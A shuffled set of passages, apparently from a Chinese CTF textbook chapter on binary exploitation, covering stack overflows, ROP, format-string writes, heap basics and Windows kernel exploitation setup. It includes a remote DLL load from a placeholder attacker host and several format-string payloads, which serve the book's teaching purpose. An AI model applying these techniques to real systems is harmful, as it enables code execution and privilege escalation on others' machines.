    {"text": "2．LoadLibrary UNC加载模块 由于一般的Windows Pwnable没有办法直接执行system弹shell，因此需要使用各种各样的shellcode来完成想要的操作，但是这样做相当麻烦，在测试shellcode的时候可能遇到本地与远程环境不同等情况。"},
    {"text": "LoadLibrary是Windows下用来加载DLL的函数，由于其支持UNC Path，因此可以调用 LoadLibrary（\"\\\\attacker_ip\\malicious.dll\"） ，让程序加载远程服务器上攻击者提供的DLL，从而达到任意代码执行的能力。"},
    {"text": "6.9 Windows内核PWN 对于一般的程序员而言，操作系统内核一直是一块神秘之地，因为绝大多数的程序开发人员只是负责使用操作系统内核提供的各种功能和接口，对于操作系统内核的实现细节往往只知其然，尤其对于不开放源代码的Windows操作系统而言更是如此。"},
    {"text": "因为系统内核运行于CPU的高特权级上，连Windows操作系统理论上的最高权限——System权限都无法与之匹敌。 如果我们掌握了操作内核级别的权限，就可以在系统中呼风唤雨、无所不能了。"},
    {"text": "1．实模式 实模式是一种模拟Intel 8086处理器的执行方式，即Intel 8086就是使用这种实模式的形式执行的。 Intel 80386后的处理器通过实模式来模拟老式处理器的执行，所有的新式Intel处理器在启动时都是以实模式运行的，之后才会切换到其他执行模式。 实模式下只能访问16位的寄存器，如AX、BX、SP、BP等，并且整个系统不存在内存保护机制和真正意义上的进程概念。"},
    {"text": "虽然实际上无论是Windows还是类UNIX系统的开发者都没有依照Intel的设计，它们最后都只使用了Ring0和Ring3，其中Ring0用于执行操作系统内核、第三方驱动程序等，Ring3用于执行用户的代码。"},
    {"text": "一些敏感的寄存器操作指令，如针对全局描述符表寄存器操作的lgdt指令、针对中断描述符表操作的lidt、针对型号特定寄存器（MSR）操作的wrmsr，以及直接IO操作指令in、out等，都成为只有在Ring0下才能执行的特权指令。"},
    {"text": "此外，Intel把内存与权限环挂上了钩，Ring0的指令可以访问Ring0和Ring3的内存，而Ring3的指令只能访问Ring3的内存，而访问Ring0的内存会触发通用保护（General Protect）异常。"},
    {"text": "6.9.1.2 Windows操作系统寻址 现代操作系统内存寻址是通过内存分段和内存分页两部分来实现的，其中分段机制是实模式遗留下来的产物，分页机制则是新引入的机制。"},
    {"text": "平坦寻址是指把段表（全局描述符表）中的各项（段选择子）都指向同一片内存区域，因而我们访问CS或DS、SS段寄存器也就没有任何区别了（也存在一些例外的段寄存器，如FS或GS在用户态始终指向线程环境块TEB，在内核态始终指向处理器控制区KPCR）。"},
    {"text": "首先，操作系统内核通过段表来保存分段的信息，因为运行在保护模式下的现代操作系统是一个多进程并行的系统，所以每个进程都拥有各自的段表，即 全局（段）描述符表（Global Descriptor Table，GDT） 。"},
    {"text": "Intel设计了GDTR寄存器，专门保存本进程的GDT基地址，当进程上下文发生切换时，GDTR也会随之变化，始终对应当前进程的GDT基地址，并且针对GDT操作的指令也是特权指令，只能在Ring0下执行。"},
    {"text": "目标内存地址的虚拟地址实际上分为两部分，一部分保存在段寄存器中称为段选择子，另一部分是我们实际想访问的地址，它实际上是偏移值，见图6-9-2。"},
    {"text": "先使用Windbg建立双机调试会话（后面会介绍如何建立双机调试），再执行 .process 命令，查看目前所处的进程上下文，该命令会返回当前进程的EPROCESS地址，通过 ！"},
    {"text": "也就是说，虚拟地址与经过分段处理后的线性地址是一样的，这印证了前文所说的平坦寻址模式，分段机制只是走了一个形式，实际上被“架空”了。"},
    {"text": "图6-9-4 图6-9-5（图片来自《Rootkit：系统灰色地带的潜伏者》） 如果内存访问时违反了这种规定，就会触发中断描述表IDT中的 0号异常 ——通用保护异常，即内存访问违例。"},
    {"text": "分页机制一般通过两层结构来实现：页目录表（Page Directory）和页表（Page Table），其中的项分别称为页目录项PDE（Page Directory Entry）和页表项PTE（Page Table Entry）。"},
    {"text": "实际上与全局描述符表相似，页目录基地址也是通过一个寄存器来保存的，不过它没有专门的寄存器而是保存在CR3寄存器中，因此CR3也得名为页目录基址寄存器PDBR，见图6-9-6。"},
    {"text": "PAE同样是32位处理器使用的分页结构，其设计初衷是让运行其上的操作系统能够支持更大的物理内存，其把页目录PD和页表PT的两层结构变为了页目录指针表PDP、页目录PD和页表PT的三层结构，从而实现了把32位线性地址映射为52位的物理地址，拓展了32位处理器的寻址能力。"},
    {"text": "实际上，“PWN”是一个拟声词，代表黑客通过漏洞攻击获得计算机权限的“砰”的声音，还有一种说法是“PWN”来源于控制计算机的“own”这个词。 总之，通过二进制漏洞获取计算机权限的方法或者过程被称为 PWN 。 6.1 PWN基础 6.1.1 什么是PWN 在CTF中，PWN主要通过利用程序中的漏洞造成内存破坏以获取远程计算机的shell，从而获得flag。"},
    {"text": "因为题目中一般存在漏洞，攻击者可以构造恶意数据发送给远程服务器的程序，导致远程服务器程序执行攻击者希望的代码，从而控制远程服务器。"},
    {"text": "根据源代码和编译结果（见图6-1-1）就能看出，其参数传递方式遵循传统的cdecl调用约定，即函数参数从右到左依次入栈，函数参数由调用者负责清除。"},
    {"text": "同样源码编译的64位版本与32位的主要区别是，函数的前6个参数会依次使用RDI、RSI、RDX、RCX、R8、R9寄存器进行传递，如果还有多余的参数，那么与32位的一样使用栈进行传递，见图6-1-2。"},
    {"text": "其实，系统调用可以看成一种特殊的函数调用，只是使用 int 0x80 指令代替call指令。 call指令中的函数地址变成了存放在EAX中的系统调用号，而参数改成使用寄存器进行传递。"},
    {"text": "相较于32位系统，64位Linux系统调用指令变成了syscall，传递参数的寄存器变成了RDI、RSI、RDX、R10、R8、R9，并且系统调用对应的系统调用号发生了变化。"},
    {"text": "图6-1-1 图6-1-2 图6-1-3 Linux操作系统现有的系统调用只有300多个，随着内核版本的更新，其数量未来可能会增加，但相比Windows庞杂的API来说算是相当精简了。"},
    {"text": "ELF头 必须在文件开头，表示这是个ELF文件及其基本信息。 ELF头包括ELF的magic code、程序运行的计算机架构、程序入口等内容，可以通过“ readelf-h ”命令读取其内容，一般用于寻找一些程序的入口。"},
    {"text": "❖ .rdata节——存放程序使用到的不可修改的静态数据，如字符串等。 ❖ .data节——存放程序可修改的数据，如C语言中已经初始化的全局变量等。 ❖ .bss节——用于存放程序的可修改数据，与.data不同的是，这些数据没有被初始化，所以没有占用ELF空间。"},
    {"text": "ELF中其实可以包括很多与程序执行无关的内容，如程序版本、Hash或者一些符号调试信息等。 但是操作系统执行ELF程序时并不会解析ELF中的这些信息，需要解析的是ELF头和 程序头表（Program Head Table） 。 解析ELF文件头的目的是确定程序的指令集构架、ABI版本等系统是否支持信息，以及读取程序入口。"},
    {"text": "操作系统执行程序时需要按照程序头表中指定的段信息来将ELF文件中的指定内容加载到内存的指定位置。 所以，每个程序头的内容主要包括段类型、其在ELF文件中的地址、加载到内存中的哪个地址、段长度、内存读写属性等。 比如，ELF中存放代码的段内存读写属性是可读可执行，存放数据的段则是可读可写或者只读等。 注意，有些段可能在ELF文件中没有对应的数据内容，如未初始化的静态内存，为了压缩ELF文件，只会在程序头表中存在一个字段，由操作系统进行内存申请和置零的操作。"},
    {"text": "这里可能有人会对节与段之间的关系及其区别产生疑惑，其实二者只是解释ELF中数据的 两种形式 而已。 就像一个人有多种身份，ELF同时使用段和节两种格式描述一段数据，只是侧重点不同。 操作系统不需要关心ELF中的数据具体功能，只需知道哪一块数据应该被加载到哪一块内存，以及内存的读写属性即可，所以会按照段来划分数据。"},
    {"text": "1．NX NX保护在Windows中也被称为DEP，是通过现代操作系统的 内存保护单元（Memory Protect Unit，MPU） 机制对程序内存按页的粒度进行权限设置，其基本规则为可写权限与可执行权限互斥。"},
    {"text": "由于栈溢出攻击的主要目标是通过溢出覆盖函数栈高位的返回地址，因此其思路是在函数开始执行前，即在返回地址前写入一个字长的随机数据，在函数返回前校验该值是否被改变，如果被改变，则认为是发生了栈溢出。"},
    {"text": "3．ASLR(Address Space Layout Randomization) ASLR的目的是将程序的堆栈地址和动态链接库的加载地址进行一定的随机化，这些地址之间是不可读写执行的未映射内存，降低攻击者对程序内存结构的了解程序。"},
    {"text": "4．PIE 与ASLR保护十分相似，PIE保护的目的是让可执行程序ELF的地址进行随机化加载，从而使得程序的内存结构对攻击者完全未知，进一步提高程序的安全性。"},
    {"text": "5．Full Relro Full Relro保护与Linux下的Lazy Binding机制有关，其主要作用是禁止.GOT.PLT表和其他一些相关内存的读写，从而阻止攻击者通过写.GOT.PLT表来进行攻击利用的手段。"},
    {"text": "6.1.3.4 GOT和PLT的作用 ELF文件中通常存在.GOT.PLT和.PLT这两个特殊的节，ELF编译时无法知道libc等动态链接库的加载地址。 如果一个程序想调用动态链接库中的函数，就必须使用.GOT.PLT和.PLT配合完成调用。"},
    {"text": "在图6-1-4中，call_printf并不是跳转到了实际的_printf函数的位置。 因为在编译时程序并不能确定printf函数的地址，所以这个call指令实际上通过相对跳转，跳转到了PLT表中的_printf项。"},
    {"text": ".PLT表 还是一段代码，作用是从内存中取出一个地址然后跳转。 取出的地址便是_printf的实际地址，而存放这个_printf函数实际地址的地方就是图6-1-6中的 .GOT.PLT表 。 图6-1-4 图6-1-5 图6-1-6 可以发现，.GOT.PLT表其实是一个函数指针数组，数组中保存着ELF中所有用到的外部函数的地址。"},
    {"text": "其次，由于.GOT.PLT中通常会存放libc中函数的地址，在漏洞利用中可以通过读取.GOT.PLT来获得libc的地址，或者通过写.GOT.PLT来控制程序的执行流。 通过.GOT.PLT进行漏洞利用在CTF中十分常见。"},
    {"text": "6.2 整数溢出 整数溢出在PWN中属于比较简单的内容，当然并不是说整数溢出的题目比较简单，只是整数溢出本身不是很复杂，情况较少而已。"},
    {"text": "❖ 无符号上溢：无符号数0xffffffff加1变为0的情况。 ❖ 无符号下溢：无符号数0减去1变为0xffffffff的情况。 ❖ 有符号上溢：有符号数正数0x7fffffff加1变为负数0x80000000，即十进制-2147483648的情况。 ❖ 无符号下溢：有符号负数0x80000000减去1变为正数0x7fffffff的情况。"},
    {"text": "6.2.2 整数溢出如何利用 整数溢出虽然很简单，但是利用起来实际上并不简单。 整数溢出不像栈溢出等内存破坏可以直接通过覆盖内存进行利用，常常需要进行一定转换才能溢出。"},
    {"text": "1．整数溢出转换成缓冲区溢出 整数溢出可以将一个很小的数突变成很大的数。 比如，无符号下溢可以将一个表示缓冲区大小的较小的数通过减法变成一个超大的整数。"},
    {"text": "另一种情况是通过输入负数的办法来绕过一些长度检查，如一些程序会使用有符号数字表示长度。 那么就可以使用负数来绕过长度上限检查。 而大多数系统API使用无符号数来表示长度，此时负数就会变成超大的正数导致溢出。"},
    {"text": "例如，想要索引数组后0x1000字节处的内容，只需要传入负数-2147482624，该值用十六进制数表示为0x80000400，再乘以元素长度4后，由于无符号整数上溢结果，即为0x00001000。"},
    {"text": "一般情况下，最后放入栈中的数据被称为栈顶数据，其存放的位置被称为栈顶。 向栈中存放数据的操作被称为入栈（push），取出栈顶数据的操作被称为出栈（pop）。"},
    {"text": "x86构架中一般使用指令call调用一个函数，并使用指令ret返回。 CPU在执行call指令时，会先将当前call指令的下一条指令的地址入栈，再跳转到被调用函数。"},
    {"text": "编译器会始终保证即使子函数使用了栈并修改了栈顶的位置，也会在函数返回前将栈顶恢复到刚进入函数时候的状态，从而保证取到的返回地址不会出错。"},
    {"text": "运行程序，用IDA调试，输入8个A后，退出vuln函数，程序执行ret指令时，栈布局见图6-3-1。 此时，栈顶保存的0x400579即返回地址，执行ret指令后，程序会跳转到0x400579的位置。"},
    {"text": "注意 ，返回地址上方有一串 0x4141414141414141 的数据，即刚刚输入的8个A，因为gets函数不会检查输入数据的长度，所以可以增加输入，直到覆盖返回地址。"},
    {"text": "用IDA分析这个程序，可以得知shell函数的位置为 0x400537 ，我们的目的是让程序跳转到该函数，从而执行 system（\"/bin/sh\"） ，以获得一个shell。"},
    {"text": "为了方便输入一些非可见字符（如地址），这里用到了解答PWN题目非常实用的工具pwntools，代码注释中会对其中一些常用的函数进行说明，更具体的说明请参照官方文档。"},
    {"text": "图6-3-1 攻击脚本如下： 用IDA附加到进程进行跟踪调试，刚到ret的位置时，返回地址已经被覆盖为0x400537，继续运行程序就会跳转到shell函数，从而获得shell（见图6-3-2）。"},
    {"text": "Canary保护的机制与此类似，通过在栈保存rbp的位置前插入一段随机数，这样如果攻击者利用栈溢出漏洞覆盖返回地址，也会把Canary一起覆盖。"},
    {"text": "【例6-3-2】 编译时开启栈保护： vuln函数进入时，会从fs：28中取出Canary的值，放入 rbp-8 的位置，在函数退出前将rbp-8的值与fs：28中的值进行比较，如果被改变，就调用__stack_chk_fail函数，输出报错信息并退出程序（见图6-3-3和图6-3-4）。 图6-3-3 图6-3-4 但是这个程序在vuln函数返回前会将输入的字符串打印，这会泄露栈上的Canary，从而绕过检测。"},
    {"text": "接下来的一次输入中，可以将泄露的Canary写到原来的地址，然后继续覆盖返回地址： 上述示例说明即使编译器开启了保护功能，在编写程序时仍然需要注意防止栈溢出，否则有可能被攻击者利用，从而产生严重后果。"},
    {"text": "调用时： 返回时：如果栈上的BP值被覆盖，那么函数返回后，主调函数的BP值会被改变，主调函数返回指行ret时，SP不会指向原来的返回地址位置，而是被修改后的BP位置。"},
    {"text": "在默认情况下，基于漏洞缓解的规则，程序中不会存在同时具有可写和可执行权限的内存，所以无法通过修改程序的代码段或者数据段来执行任意代码。"},
    {"text": "针对这种漏洞缓解机制，有一种通过返回到程序中特定的指令序列从而控制程序执行流程的攻击技术，被称为返回导向式编程（Return-Oriented Programming，ROP）。"},
    {"text": "具体步骤为：寻找程序可执行的内存段中所有的ret指令，然后查看在ret前的字节是否包含有效指令； 如果有，则标记片段为一个可用的片段，找到一系列这样的以ret结束的指令后，则将这些指令的地址按顺序放在栈上；"},
    {"text": "在漏洞利用过程中，比较常用的GADGET有以下类型： ❖ 保存栈数据到寄存器，如： ❖ 系统调用，如： ❖ 会影响栈帧的Gadget，如： 寻找Gadget的方法包括：寻找程序中的ret指令，查看ret之前有没有所需的指令序列。"},
    {"text": "2．返回导向式编程 【例6-4-1】 用如下命令进行编译： 与之前栈溢出所用的例子的差别在于，程序中并没有预置可以用来执行命令的函数。"},
    {"text": "先用ROPgadget寻找这个程序中的Gadget： 得到如下Gadget： 这个程序很小，可供使用的Gadget非常有限，其中没有syscall这类可以用来执行系统调用的Gadget，所以很难实现任意代码执行。 但是可以想办法先获取一些动态链接库（如libc）的加载地址，再使用libc中的Gadget构造可以实现任意代码执行的ROP。"},
    {"text": "程序中常常有像puts、gets等libc提供的库函数，这些函数在内存中的地址会写在程序的GOT表中，当程序调用库函数时，会在GOT表中读出对应函数在内存中的地址，然后跳转到该地址执行（见图6-4-1），所以先利用puts函数打印库函数的地址，减掉该库函数与libc加载基地址的偏移，就可以计算出libc的基地址。"},
    {"text": "puts函数的地址被保存在0x601018位置，只要调用 puts（0x601018） ，就会打印puts函数在libc中的地址。 根据puts函数在libc库中的偏移地址，就可以计算出libc的基地址，然后可以利用libc中的Gadget构造可以执行“ /bin/sh ”的ROP，从而获得shell。"},
    {"text": "可以直接调用libc中的system函数，也可以使用syscall系统调用来完成。 调用system函数的方法与之前的类似，所以这里改为用系统调用来进行演示。 图6-4-2 通过查询系统调用表，可以知道execve的系统调用号为59，想要实现任意命令执行，需要把参数设置为： 在x64位操作系统上，设置方式为在执行syscall前将rax设为59，rdi设为字符串 \"/bin/sh\" 的地址，rsi和rdx设为0。"},
    {"text": "本例需要用到的寄存器有RAX、RDI、RSI、RDX，可以从libc中找到需要的Gadget： 泄露库函数地址后，接下来要做的就是控制程序重新执行main函数，这样可以让程序重新执行，从而可以读入并执行新的ROP链来实现任意代码执行。"},
    {"text": "6.5 格式化字符串漏洞 6.5.1 格式化字符串漏洞基本原理 C语言中常用的格式化输出函数如下： 它们的用法类似，本节以printf为例。 在C语言中，printf的常规用法为： 其中，函数第一个参数带有%d、%s等占位符的字符串被称为格式化字符串，占位符用于指明输出的参数值如何格式化。"},
    {"text": "length指出浮点型参数或整型参数的长度： ❖ hh—匹配int8大小（1字节）的整型参数。 ❖ h—匹配int16大小（2字节）的整型参数。 ❖ l—对于整数类型，匹配long大小的整型参数； 对于浮点类型，匹配double大小的参数；"},
    {"text": "❖ ll—匹配long long大小的整型参数。 ❖ L—匹配long double大小的整型参数。 ❖ z—匹配size_t大小的整型参数。 ❖ j—匹配intmax_t大小的整型参数。 ❖ t—匹配ptrdiff_t大小的整型参数。"},
    {"text": "type表示如下： ❖ d、i—有符号十进制int值。 ❖ u—十进制unsigned int值。 ❖ f、F—十进制double值。 ❖ e、E—double值，输出形式为十进制的“ [-]d.ddd e[+/-]ddd ”。 ❖ g、G—double型数值，根据数值的大小，自动选f或e格式。 ❖ x、X—十六进制unsigned int值。 ❖ o—八进制unsigned int值。"},
    {"text": "如果程序中printf的格式化字符串是可控的，即使在调用时没有填入对应的参数，printf函数也会从该参数位置所对应的寄存器或栈中取出数据作为参数进行读写，容易造成任意地址读写。"},
    {"text": "由于函数参数通过栈进行传递，因此使用“ %X$p ”（X为任意正整数）可以泄露栈上的数据。 并且，在能对栈上数据进行控制的情况下，可以事先将想泄露的地址写在栈上，再使用“%X$p”，就可以以字符串格式输出想泄露的地址。 除此之外，由于“ %n ”可以将已经成功输出的字符的个数写入对应的整型指针参数所指的变量，因此可以事先在栈上布置想要写入的内存的地址。 再通过“ %Yc%X$n ”（Y为想要写入的数据）就可以进行任意内存写。"},
    {"text": "【例6-5-1】 用如下命令编译例6-5-1的程序： 在printf处设置断点，此时RSP正好在我们输入字符串的位置，即 第6个参数 的位置（64位Linux前5个参数和格式化字符串由寄存器传递），我们输入“ AAAAAAAA%6$p ”： 程序确实把输入的8个A当作指针型变量输出了，我们可以先利用这个进行信息泄露。"},
    {"text": "栈中有__libc_start_main调用__libc_csu_init前压入的返回地址（见图6-5-1），根据这个地址，就可以计算libc的基地址，可以计算出该地址在 第21个参数 的位置；"},
    {"text": "利用脚本如下： 脚本中将system的地址（6字节）拆分为3个word（2字节），是因为如果一次性输出一个int型以上的字节，printf会输出几GB的数据，在攻击远程服务器时可能非常慢，或者导致管道中断（broken pipe）。"},
    {"text": "虽然放在最前面，偏移量更好计算，但是printf输出字符串时是到“\\x00”为止，地址中的“\\x00”会截断字符串，之后用于写入地址的占位符并不会生效。"},
    {"text": "6.5.3 格式化字符串不在栈上的利用方式 有时输入的字符串并不是保存在栈上的，这样没法直接在栈上布置地址去控制printf的参数，这种情况下的利用相对比较复杂。 因为程序有在调用函数时将rbp压入栈中或者将一些指针变量存在栈中等操作，所以栈上会有很多保存着栈上地址的指针，而且容易找到三个指针p1、p2、p3，形成p1指向p2、p2指向p3的情况，这时我们可以先利用p1修改p2最低1字节，可以使p2指向p3指针8字节中的任意1字节并修改它，这样可以逐字节地修改p3成为任意值，间接地控制了栈上的数据。 【例6-5-2】 用如下命令编译例6-5-2的程序： 在printf处设置断点，此时栈分布情况见图6-5-2。"},
    {"text": "0x7ffffffee030处保存的指针指向0x7ffffffee060，而0x7ffffffee060处保存的指针又指向了0x7ffffffee080，满足了上面的要求，这3个指针分别在printf第10、16、20个参数的位置。"},
    {"text": "我们可以将0x7ffffffee080处的值改为GOT表中free函数项的地址，再将其中的函数指针改为system函数的地址。 这样在执行free（format）时，实际执行的就是system（format）了，只要输入\"/bin/sh\"即可拿到shell。"},
    {"text": "图6-5-2 完整脚本如下： 6.5.4 格式化字符串的一些特殊用法 格式化字符串有时会遇到一些比较少见的占位符，如\"*\"表示取对应函数参数的值来作为宽度，printf（\"%*d\"，3，1）输出\" 1\"。"},
    {"text": "不考虑爆破的情况，虽然格式化字符串可以泄露这两个数的值，但是输入是在泄露前，泄露后已经无法修改猜测的值，所以必须利用这个机会，直接往num中填上a与b的和，这就需要用到占位符\"*\"。"},
    {"text": "图6-5-3 脚本如下： 6.5.5 格式化字符串小结 格式化字符串利用最终还是任意地址的读写，一个程序只要能做到任意地址读写，距离完全控制就不远了。"},
    {"text": "6.6 堆利用 6.6.1 什么是堆 堆（chunk）内存是一种允许程序在运行过程中动态分配和使用的内存区域。 相比于栈内存和全局内存，堆内存没有固定的生命周期和固定的内存区域，程序可以动态地申请和释放不同大小的内存。"},
    {"text": "这里只介绍Glibc 2.25版本最基本的结构和概念，以及2.26版本的加入新特性，具体堆管理器的实现请读者根据Ptmalloc2源代码进行深入了解。"},
    {"text": "chunk基本的数据结构如下： 其中，mchunk_size记录了当前chunk的大小，chunk的大小都是8字节对齐，所以mchunk_size的低3位固定为0（8 10 =1000 2 ）。"},
    {"text": "PREV_INUSE用来记录前一个chunk块是否被分配，如果与当前chunk向上相邻的chunk为被释放的状态，则PREV_INUSE标志位为0，并且mchunk_prev_size的大小为该被释放的相邻chunk的大小。"},
    {"text": "图6-9-7（图片来自Intel文档） 图6-9-8 图6-9-9（图片来自Intel文档） 根据规则，我们取CR3的12位以上的域，因此PML4的基地址是0x1aa000，线性地址的第39～47位表示PML4E的序号，即第0x1f0项，见图6-9-10。"},
    {"text": "同时，线性地址的第30～38位指示了PDPTE的序号，得出PDPTE的序号为5（见图6-9-13），从而得到了PDPTE的值为0x4a09063，见图6-9-14。 图6-9-11 图6-9-12（图片来自Intel文档） 图6-9-13 图6-9-14 PDPTE除了指示有PD的基地址外也包含一些标志位，它的结构见图6-9-15，PD的基地址为 0x4a09000 。 线性地址的 第21～29位 指示了PDE的序号，计算出该值为0x49。"},
    {"text": "线性地址的第0～11位（即低12位）表示在4 KB物理内存页中的偏移值，该值为0xcd0。 因此，线性地址0xFFFFF80149247CD0对应的物理内存地址为0x323dcd0，见图6-9-20。"},
    {"text": "因此，Windows通过该机制将内存分为用户空间、内核空间两部分。 图6-9-17（图片来自Intel文档） 图6-9-18 图6-9-19（图片来自Intel文档） 图6-9-20 图6-9-21 图6-9-22 6.9.1.3 Windows操作系统架构 通过内存的分段与分页机制，Windows系统将内存划分为用户空间和系统空间。"},
    {"text": "每个进程都有自己独立的虚拟内存空间，每个进程的虚拟内存空间是独立且相等的，进程的虚拟内存空间的总和可以远大于物理内存空间。 只有当进程的虚拟内存被访问时，对应的虚拟地址空间才会被映射到实际的物理内存，该操作是通过缺页中断实现的。 一个进程内的虚拟内存空间也被分为用户空间和内核空间两部分。 每个进程的用户空间被映射到独立的物理内存区域，但是内核空间是全部进程共享的，换言之，每个进程的内核空间都被映射到同一块物理内存区域。 当然存在一些例外，如System进程只具有内核空间，是所有内核线程的容器。"},
    {"text": "这些调用被称为Native API。 Native API实现的方法与类UNIX操作系统相似，都是通过中断或快速系统调用（sysenter）切换到内核态，后续调用通过System Service Dispatcher Table（SSDT）进行分发。"},
    {"text": "图6-9-23（图片来自MSDN文档） Windows内核由内核执行体和内核核心两部分组成，这是由微软给出的定义。 内核执行体是指Windows内核中较为上层的部分，包含I/O管理器、进程管理器、内存管理器等，但实际上这些“管理器”只是NT模块中的一系列函数。"},
    {"text": "与类UNIX操作系统内核不同，Windows操作系统的图像部分也是在内核空间实现的，Windows为此提供了Shadow SSDT专门用于分发图像方面的调用，这些调用独立于NT模块，存于win32k.sys、dxgkrnl.sys等模块中。"},
    {"text": "内核驱动程序包括第三方驱动和系统自有的驱动程序，Windows内核执行体中的I/O管理器负责与内核驱动程序进行交互。 内核驱动程序的交互设计与Windows用户态GUI的消息机制相似，其提供了一种称为IRP的消息包，内核驱动程序通过设备对象组成堆叠依次处理IRP消息包并与内核执行体的I/O管理器进行交互反馈信息。 用户态应用程序想访问内核驱动程序并进行数据传递时，需要先调用用户态相关的Native API，这些Native API会调用到内核执行体I/O管理器中相应的函数，这些函数负责将用户态的请求进行处理并生成IRP包后传递给对应内核驱动程序。"},
    {"text": "Windows内核的底层是HAL硬件抽象层，这里存在针对很多不同硬件平台的相同功能的代码，目的是将硬件差异与上层实现隔离，使得上层可以使用统一的接口。"},
    {"text": "6.9.1.4 Windows内核调试环境 下面介绍如何搭建内核调试环境。 内核调试方法目前有两种，一是以softice为代表的本机内核调试，二是以Windbg为代表的双机内核调试。"},
    {"text": "更重要的是，本机内核调试具有种种限制，所以现在对Windows内核的调试一般通过Windbg双机调试来完成。 配置Windbg双机调试需要分别配置主机和客户端两部分，Windbg支持串口、火线、USB等连接方式，客户端也可以选用虚拟机或者真实的物理机两种。"},
    {"text": "首先，设置虚拟机的启动配置。 Windows 7之前版本，启动配置通过boot.ini来设置。 自Windows 7开始，启动配置由bcdedit命令来管理。 这里的客户端虚拟机版本为Windows 10，虽然也可以通过bcdedit命令来设置调试启动，但是更简便的方法是通过msconfig。 通过Win+R组合键打开“ 运行 ”对话框，输入“msconfig”，出现图6-9-24所示的对话框，选择“ Boot ”选项卡，选择想设置为调试启动的启动项目并单击“ Adanced Options ”。"},
    {"text": "在出现的对话框（见图6-9-25）中勾选“ Debug ”复选框，在“ Global debug settings ”的“ Debug port ”下拉列表中选择“ COM1 ”（串口1），在“ Baud rate ”下拉列表中选择波特率为“ 115200 ”。"},
    {"text": "至此，客户端设置完毕，下一步是设置VMware虚拟机以增加一个串口。 打开虚拟机设置，单击“ Add ”按钮，以增加新硬件，在出现的对话框（见图6-9-26）中选择“ Serial Port ”（串行端口），然后单击“ Finish ”按钮。 我们的操作新建了一个名为Serial Port 2的串口（见图6-9-27），这是因为VMware自带的虚拟打印机占用了1号串口。"},
    {"text": "图6-9-29 启动调试后，Windbg会等待客户机连接。 成功连接后，Windbg给出图6-9-30和图6-9-30所示的提示信息，这是调试器主动抛出的断点。"},
    {"text": "按照攻击途径，内核漏洞可以分为攻击者从本地访问和攻击者从远程访问两种。 如果是从本地访问，那么攻击者需要先登录目标计算机，这种登录都是以低权限账户进行的。 因此，本地访问的内核漏洞一般用于权限提升，这种情况在后渗透测试的权限维持中较为常见。 而可以远程访问的内核漏洞更危险，如著名的 CVE-2017-0144 （MS-07-010）、 CVE-2019-0708 等都是威力极大的可以在远程获取系统最高权限的漏洞。 但是并不是所有的内核漏洞都是可以被有效利用的。 一般来说，漏洞存在“品相”的说法，有些品相不佳的漏洞虽然可以触发但是在利用时却比较困难甚至只是理论上可以利用。"},
    {"text": "一般能远程触发的内核漏洞都是位于各种网络协议栈的内核驱动程序中，如CVE-2017-0144漏洞位于处理SMB的内核驱动srv.sys中，CVE-2019-0708漏洞位于处理RDP协议的内核驱动程序termdd.sys中。"},
    {"text": "Visual Studio是微软官方推荐的Windows驱动开发IDE，鉴于驱动调试环境涉及Windows 10，因此推荐使用Visual Studio 2015及以上版本进行开发，同时需要安装Windows 10以上版本的Windows Driver Kit（WDK）。"},
    {"text": "因为WDK 10默认使用WDF驱动模型，WDF驱动模型把驱动程序划分成为内核模式驱动程序和用户模式驱动程序两部分，提出了KMD和UMD两个概念。"},
    {"text": "对于Windows驱动程序而言，这个入口点拥有固定的格式（见图6-9-33），一般链接器默认其函数名称为DriverEntry。 图6-9-32 图6-9-33 DriverEntry函数的参数DriverObject表示当前驱动程序的驱动对象。"},
    {"text": "图6-9-34 因此，我们的驱动程序需要编写入口函数如下： 首先，使用IoCreateDevice函数创建一个设备对象与当前驱动对象进行关联。 然后，需要通过IoCreateSymbolicLink函数创建一个符号链接，创建这个符号链接对象是为了将之前创建的设备对象暴露给用户态。"},
    {"text": "下一步需要为驱动对象设置分发函数，在通过不同函数对设备对象发送请求时驱动程序会收到带有不同MajorCode的IRP请求包。 MajorCode由函数内部自动设置，如使用CreateFile函数时，驱动程序会收到MajorCode为IRP_MJ_CREATE的请求，使用DeviceIoControl函数时，驱动程序会收到MajorCode为IRP_MJ_DEVICE_CONTROL的请求。 驱动程序收到这些IRP请求时会自动调用对应的分发函数。 程序中只需要设置MajorCode为IRP_MJ_DEVICE_CONTROL的分发函数即可，其他MajorFunction可以设为直接返回。"},
    {"text": "此外，函数中没有使用到的参数需要使用UNREFERENCED_PARAMETER宏进行表明。 UNREFERENCED_PARAMETER宏其实是一个空宏，因为驱动程序在编译时会把警告视为错误，如果不这样处理，则无法通过编译。"},
    {"text": "6.9.2.2 编写栈溢出示例 下面在IRP_MJ_DEVICE_CONTROL的MajorFunction中增加实际的漏洞代码。 我们先编写栈溢出漏洞示例代码，需要从用户态接收传入的数据为此我们设计如下交互结构，这样可以存放传递的数据与数据的尺寸。"},
    {"text": "METHOD_BUFFERED说明了我们将使用缓冲I/O模型进行交互，而CODE_SOF是我们需要设定的一个值，只要不与Windows保留值相冲突，这个值的内容完全可以自定义。"},
    {"text": "这里，因为我们使用的是Buffer I/O的模式，所以可以通过IrpPtr->AssociatedIrp.SystemBuffer来获取数据的指针，然后通过在栈中声明一块缓冲区和调用RtlCopyMemory函数的形式实现栈溢出的例子。"},
    {"text": "6.9.2.3 编写任意地址写示例 与栈溢出类似，我们同样设计一个传输数据结构来传递数据和定义一个IOCTL值： 同样，在IRP_MJ_DEVICE_CONTROL的MajorFunction中增加漏洞代码，这里是实现一个任意地址写任意值的示例（write-anything-anywhere），具体细节不再赘述。"},
    {"text": "6.9.2.4 加载内核驱动程序 使用的示例都是NT式驱动程序，所以只介绍NT式驱动程序的加载方式。 NT式驱动程序的加载比较简单，实际上是通过注册为系统服务进行加载的。"},
    {"text": "Windows操作系统的服务由服务控制管理进程（Service Control Manager）进行管理，其进程名为services.exe，其内部也是通过调用NtLoadDriver函数进行驱动加载的。 当然，内核驱动作为一种特殊权限的代码不是每个进程都能通过调用NtLoadDriver函数进行加载的，Windows操作系统中存在一种名为SeLoadDriverPrivilege的特权（Privilege），一般只有System权限的Token才具有此特权。"},
    {"text": "由于Windows高版本中存在 DSE（Driver Signature Enforcement） 保护，我们无法直接加载自己编写的示例驱动程序。 DSE是一种内核模块强制签名的措施，它会阻止未经签名的驱动程序的加载。"},
    {"text": "图6-9-37 6.9.2.5 Windows 7内核漏洞利用 我们选择Windows 7作为Windows内核漏洞利用的开始，因为Windows 7操作系统缺少对于内核漏洞利用的防护措施。"},
